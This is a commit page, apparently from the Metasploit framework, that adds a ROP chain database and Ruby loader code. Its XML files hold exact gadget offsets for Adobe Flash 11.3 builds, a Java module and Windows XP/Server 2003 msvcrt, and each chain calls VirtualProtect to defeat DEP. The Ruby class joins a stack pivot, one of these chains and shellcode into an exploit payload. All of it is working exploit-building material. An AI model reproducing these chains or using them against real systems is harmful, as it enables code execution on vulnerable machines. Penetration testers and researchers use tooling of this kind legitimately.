Skip to content

Commit 858fd9f

Browse files
committed
2 parents 6de50b7 + 2a88aab commit 858fd9f

File tree

6 files changed

+362
-0
lines changed

6 files changed

+362
-0
lines changed

data/ropdb/flash.xml

Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
<?xml version="1.0" encoding="ISO-8859-1"?>
2+
<db>
3+
<rop>
4+
<compatibility>
5+
<target>11.3.300.257</target>
6+
</compatibility>
7+
8+
<gadgets base="0x10000000">
9+
<gadget offset="0x00243043">POP EAX # RETN</gadget>
10+
<gadget offset="0x006e3384">ptr to VirtualProtect()</gadget>
11+
<gadget offset="0x0044a4aa">MOV EAX,DWORD PTR DS:[EAX] # RETN</gadget>
12+
<gadget offset="0x003d54df">XCHG EAX,ESI # RETN</gadget>
13+
<gadget offset="0x005f0b25">POP EBP # RETN</gadget>
14+
<gadget offset="0x002ed0f1">jmp esp</gadget>
15+
<gadget offset="0x003eb988">POP EBX # RETN</gadget>
16+
<gadget value="0x00000400">0x00000400-> ebx</gadget>
17+
<gadget offset="0x00662e60">POP EDX # RETN</gadget>
18+
<gadget value="0x00000040">0x00000040-> edx</gadget>
19+
<gadget offset="0x0058289d">POP ECX # RETN</gadget>
20+
<gadget offset="0x00955ebe">Writable location</gadget>
21+
<gadget offset="0x00414e84">POP EDI # RETN</gadget>
22+
<gadget offset="0x004de801">RETN (ROP NOP)</gadget>
23+
<gadget offset="0x0024044c">POP EAX # RETN</gadget>
24+
<gadget value="nop">nop</gadget>
25+
<gadget offset="0x00627674">PUSHAD # RETN</gadget>
26+
</gadgets>
27+
</rop>
28+
29+
<rop>
30+
<compatibility>
31+
<target>11.3.300.265</target>
32+
</compatibility>
33+
34+
<gadgets base="0x10000000">
35+
<gadget offset="0x00487414">POP EAX # RETN</gadget>
36+
<gadget offset="0x006e338c">ptr to VirtualProtect()</gadget>
37+
<gadget offset="0x00437d39">MOV EAX,DWORD PTR DS:[EAX] # RETN</gadget>
38+
<gadget offset="0x0008f9c6">XCHG EAX,ESI # RETN</gadget>
39+
<gadget offset="0x000baf77">POP EBP # RETN</gadget>
40+
<gadget offset="0x002d8d5c">jmp esp</gadget>
41+
<gadget offset="0x00005604">POP EBX # RETN</gadget>
42+
<gadget value="0x00000400">0x00000400-> ebx</gadget>
43+
<gadget offset="0x0064a4d7">POP EDX # RETN</gadget>
44+
<gadget value="0x00000040">0x00000040-> edx</gadget>
45+
<gadget offset="0x004087db">POP ECX # RETN</gadget>
46+
<gadget offset="0x00955197">Writable location</gadget>
47+
<gadget offset="0x005be57f">POP EDI # RETN</gadget>
48+
<gadget offset="0x003a0002">RETN (ROP NOP)</gadget>
49+
<gadget offset="0x00244a82">POP EAX # RETN</gadget>
50+
<gadget value="nop">nop</gadget>
51+
<gadget offset="0x004cbc7f">PUSHAD # RETN</gadget>
52+
</gadgets>
53+
</rop>
54+
55+
<rop>
56+
<compatibility>
57+
<target>11.3.300.268</target>
58+
</compatibility>
59+
60+
<gadgets base="0x10000000">
61+
<gadget offset="0x0012429b">POP ECX # RETN</gadget>
62+
<gadget offset="0x006e438c">ptr to VirtualProtect()</gadget>
63+
<gadget offset="0x00481a7d">MOV EAX,DWORD PTR DS:[ECX]</gadget>
64+
<gadget offset="0x006ae8d7">XCHG EAX,ESI # RETN</gadget>
65+
<gadget offset="0x000a6b69">POP EBP # RETN</gadget>
66+
<gadget offset="0x002b95bb">jmp esp</gadget>
67+
<gadget offset="0x0027f328">POP EBX # RETN</gadget>
68+
<gadget value="0x00000400">0x00000400-> ebx</gadget>
69+
<gadget offset="0x00686fe5">POP EDX # RETN</gadget>
70+
<gadget value="0x00000040">0x00000040-> edx</gadget>
71+
<gadget offset="0x0017e345">POP ECX # RETN</gadget>
72+
<gadget offset="0x0092027a">Writable location</gadget>
73+
<gadget offset="0x002a394a">POP EDI # RETN</gadget>
74+
<gadget offset="0x00593802"># RETN (ROP NOP)</gadget>
75+
<gadget offset="0x002447d1">POP EAX # RETN</gadget>
76+
<gadget value="nop">nop</gadget>
77+
<gadget offset="0x0062857d">PUSHAD # RETN</gadget>
78+
</gadgets>
79+
</rop>
80+
</db>

data/ropdb/java.xml

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
<?xml version="1.0" encoding="ISO-8859-1"?>
2+
<db>
3+
<rop>
4+
<compatibility>
5+
<target>*</target>
6+
</compatibility>
7+
8+
<gadgets base="0x7c340000">
9+
<gadget offset="0x0000252c">POP EBP # RETN</gadget>
10+
<gadget offset="0x0000252c">skip 4 bytes</gadget>
11+
<gadget offset="0x0002c55a">POP EBX # RETN</gadget>
12+
<gadget value="0x00000400">0x00000400-> ebx</gadget>
13+
<gadget offset="0x00005249">POP EDX # RETN</gadget>
14+
<gadget value="0x00000040">0x00000040-> edx</gadget>
15+
<gadget offset="0x000011c0">POP ECX # RETN</gadget>
16+
<gadget offset="0x00051897">Writable location</gadget>
17+
<gadget offset="0x0000b8d7">POP EDI # RETN</gadget>
18+
<gadget offset="0x00006c0b">RETN (ROP NOP)</gadget>
19+
<gadget offset="0x00026fa6">POP ESI # RETN</gadget>
20+
<gadget offset="0x000015a2">JMP [EAX]</gadget>
21+
<gadget offset="0x000362fb">POP EAX # RETN</gadget>
22+
<gadget offset="0x0003a151">ptr to VirtualProtect()</gadget>
23+
<gadget offset="0x00038c81">PUSHAD # ADD AL,0EF # RETN</gadget>
24+
<gadget offset="0x00005c30">ptr to 'push esp # ret</gadget>
25+
</gadgets>
26+
</rop>
27+
</db>

data/ropdb/msvcrt.xml

Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
<?xml version="1.0" encoding="ISO-8859-1"?>
2+
<db>
3+
<rop>
4+
<compatibility>
5+
<target>WINDOWS XP SP2</target>
6+
<target>WINDOWS XP SP3</target>
7+
</compatibility>
8+
9+
<gadgets base="0x77c10000">
10+
<gadget offset="0x0002ee15">POP EBP # RETN</gadget>
11+
<gadget offset="0x0002ee15">skip 4 bytes</gadget>
12+
<gadget offset="0x0003fa1c">POP EBX # RETN</gadget>
13+
<gadget value="0x00000400">0x00000400-> ebx</gadget>
14+
<gadget offset="0x00040d13">POP EDX # RETN</gadget>
15+
<gadget value="0x00000040">0x00000040-> edx</gadget>
16+
<gadget offset="0x0002eeef">POP ECX # RETN</gadget>
17+
<gadget offset="0x0004d9bb">Writable location</gadget>
18+
<gadget offset="0x0001a88c">POP EDI # RETN</gadget>
19+
<gadget offset="0x00029f92">RETN (ROP NOP)</gadget>
20+
<gadget offset="0x0002a184">POP ESI # RETN</gadget>
21+
<gadget offset="0x0001aacc">JMP [EAX]</gadget>
22+
<gadget offset="0x0002b860">POP EAX # RETN</gadget>
23+
<gadget offset="0x00001120">ptr to VirtualProtect()</gadget>
24+
<gadget offset="0x00002df9">PUSHAD # RETN</gadget>
25+
<gadget offset="0x00025459">ptr to 'push esp # ret</gadget>
26+
</gadgets>
27+
</rop>
28+
29+
<rop>
30+
<compatibility>
31+
<target>WINDOWS SERVER 2003 SP1</target>
32+
<target>WINDOWS SERVER 2003 SP2</target>
33+
</compatibility>
34+
35+
<gadgets base="0x77ba0000">
36+
<gadget offset="0x0003eebf">POP EAX # RETN</gadget>
37+
<gadget offset="0x00001114">ptr to VirtualProtect()</gadget>
38+
<gadget offset="0x0001f244">MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN</gadget>
39+
<gadget value="junk">Filler</gadget>
40+
<gadget offset="0x00010c86">XCHG EAX,ESI # RETN</gadget>
41+
<gadget offset="0x00026320">POP EBP # RETN</gadget>
42+
<gadget offset="0x00042265">PUSH ESP # RETN</gadget>
43+
<gadget offset="0x000385b7">POP EBX # RETN</gadget>
44+
<gadget value="0x00000400">0x00000400-> ebx</gadget>
45+
<gadget offset="0x0003e4fc">POP EDX # RETN</gadget>
46+
<gadget value="0x00000040">0x00000040-> edx</gadget>
47+
<gadget offset="0x000330fb">POP ECX # RETN</gadget>
48+
<gadget offset="0x0004ff56">Writable location</gadget>
49+
<gadget offset="0x00038a92">POP EDI # RETN</gadget>
50+
<gadget offset="0x00037d82">RETN (ROP NOP)</gadget>
51+
<gadget offset="0x0003eebf">POP EAX # RETN</gadget>
52+
<gadget value="nop">nop</gadget>
53+
<gadget offset="0x00046591">PUSHAD # ADD AL,0EF # RETN</gadget>
54+
</gadgets>
55+
</rop>
56+
</db>

lib/msf/core/exploit/mixins.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,7 @@
1515
require 'msf/core/exploit/seh'
1616
require 'msf/core/exploit/kernel_mode'
1717
require 'msf/core/exploit/exe'
18+
require 'msf/core/exploit/ropdb'
1819

1920
# CmdStagers
2021
require 'msf/core/exploit/cmdstager'

lib/msf/core/exploit/ropdb.rb

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
# -*- coding: binary -*-
2+
require 'rex/exploitation/ropdb'
3+
4+
##
5+
#
6+
# This mixin provides an interface to selecting a ROP chain, or creating a payload with
7+
# ROP using the Rex::Exploitation::RopDb class.
8+
#
9+
##
10+
11+
module Msf
12+
module Exploit::RopDb
13+
14+
def initialize(info = {})
15+
@rop_db = Rex::Exploitation::RopDb.new
16+
super
17+
end
18+
19+
def has_rop?(rop)
20+
@rop_db.has_rop?(rop)
21+
end
22+
23+
def select_rop(rop, opts={})
24+
rop = @rop_db.select_rop(rop, opts)
25+
return rop
26+
end
27+
28+
def generate_rop_payload(rop, payload, opts={})
29+
opts['badchars'] ||= payload_badchars
30+
rop_payload = @rop_db.generate_rop_payload(rop, payload, opts)
31+
return rop_payload
32+
end
33+
34+
end
35+
end

lib/rex/exploitation/ropdb.rb

Lines changed: 163 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,163 @@
1+
require 'rex/text'
2+
require 'rexml/document'
3+
4+
5+
module Rex
6+
module Exploitation
7+
8+
###
9+
#
10+
# This class provides methods to access the ROP database, in order to generate
11+
# a ROP-compatible payload on the fly.
12+
#
13+
###
14+
class RopDb
15+
def initialize
16+
@base_path = File.join(File.dirname(__FILE__), '../../../data/ropdb/')
17+
end
18+
19+
public
20+
21+
22+
#
23+
# Returns true if a ROP chain is available, otherwise false
24+
#
25+
def has_rop?(rop_name)
26+
File.exists?(File.join(@base_path, "#{rop_name}.xml"))
27+
end
28+
29+
#
30+
# Returns an array of ROP gadgets. Each gadget can either be an offset, or a value (symbol or
31+
# some integer). When the value is a symbol, it can be one of these: :nop, :junk, :size,
32+
# and :size_negate.
33+
# Note if no RoP is found, it returns an empry array.
34+
# Arguments:
35+
# rop_name - name of the ROP chain.
36+
# opts - A hash of optional arguments:
37+
# 'target' - A regex string search against the compatibility list.
38+
# 'base' - Specify a different base for the ROP gadgets.
39+
#
40+
def select_rop(rop, opts={})
41+
target = opts['target'] || ''
42+
base = opts['base'] || nil
43+
44+
raise RuntimeError, "#{rop} ROP chain is not available" if not has_rop?(rop)
45+
xml = load_rop(File.join(@base_path, "#{rop}.xml"))
46+
47+
gadgets = []
48+
49+
xml.elements.each("db/rop") { |e|
50+
name = e.attributes['name']
51+
next if not has_target?(e, target)
52+
53+
if not base
54+
default = e.elements['gadgets'].attributes['base'].scan(/^0x([0-9a-f]+)$/i).flatten[0]
55+
base = default.to_i(16)
56+
end
57+
58+
gadgets << parse_gadgets(e, base)
59+
}
60+
return gadgets.flatten
61+
end
62+
63+
64+
#
65+
# Returns a payload with the user-supplied stack-pivot, a ROP chain,
66+
# and then shellcode.
67+
# Arguments:
68+
# rop - Name of the ROP chain
69+
# payload - Payload in binary
70+
# opts - A hash of optional arguments:
71+
# 'nop' - Used to generate nops with generate_sled()
72+
# 'badchars' - Used in a junk gadget
73+
# 'pivot' - Stack pivot in binary
74+
# 'target' - A regex string search against the compatibility list.
75+
# 'base' - Specify a different base for the ROP gadgets.
76+
#
77+
def generate_rop_payload(rop, payload, opts={})
78+
nop = opts['nop'] || nil
79+
badchars = opts['badchars'] || ''
80+
pivot = opts['pivot'] || ''
81+
target = opts['target'] || ''
82+
base = opts['base'] || nil
83+
84+
rop = select_rop(rop, {'target'=>target, 'base'=>base})
85+
# Replace the reserved words with actual gadgets
86+
rop = rop.map {|e|
87+
if e == :nop
88+
sled = (nop) ? nop.generate_sled(4, badchars).unpack("V*")[0] : 0x90909090
89+
elsif e == :junk
90+
Rex::Text.rand_text(4, badchars).unpack("V")[0].to_i
91+
elsif e == :size
92+
payload.length
93+
elsif e == :size_negate
94+
0xffffffff - payload.length + 1
95+
else
96+
e
97+
end
98+
}.pack("V*")
99+
100+
raise RuntimeError, "No ROP chain generated successfully" if rop.empty?
101+
102+
return pivot + rop + payload
103+
end
104+
105+
private
106+
107+
108+
#
109+
# Checks if a ROP chain is compatible
110+
#
111+
def has_target?(rop, target)
112+
rop.elements.each('compatibility/target') { |t|
113+
return true if t.text =~ /#{target}/i
114+
}
115+
return false
116+
end
117+
118+
#
119+
# Returns the database in XML
120+
#
121+
def load_rop(file_path)
122+
f = File.open(file_path, 'rb')
123+
xml = REXML::Document.new(f.read(f.stat.size))
124+
f.close
125+
return xml
126+
end
127+
128+
129+
#
130+
# Returns gadgets
131+
#
132+
def parse_gadgets(e, image_base)
133+
gadgets = []
134+
e.elements.each('gadgets/gadget') { |g|
135+
offset = g.attributes['offset']
136+
value = g.attributes['value']
137+
138+
if offset
139+
addr = offset.scan(/^0x([0-9a-f]+)$/i).flatten[0]
140+
gadgets << (image_base + addr.to_i(16))
141+
elsif value
142+
case value
143+
when 'nop'
144+
gadgets << :nop
145+
when 'junk'
146+
gadgets << :junk
147+
when 'size'
148+
gadgets << :size
149+
when 'size_negate'
150+
gadgets << :size_negate
151+
else
152+
gadgets << value.to_i(16)
153+
end
154+
else
155+
raise RuntimeError, "Missing offset or value attribute in '#{name}'"
156+
end
157+
}
158+
return gadgets
159+
end
160+
end
161+
162+
end
163+
end

0 commit comments

Comments
 (0)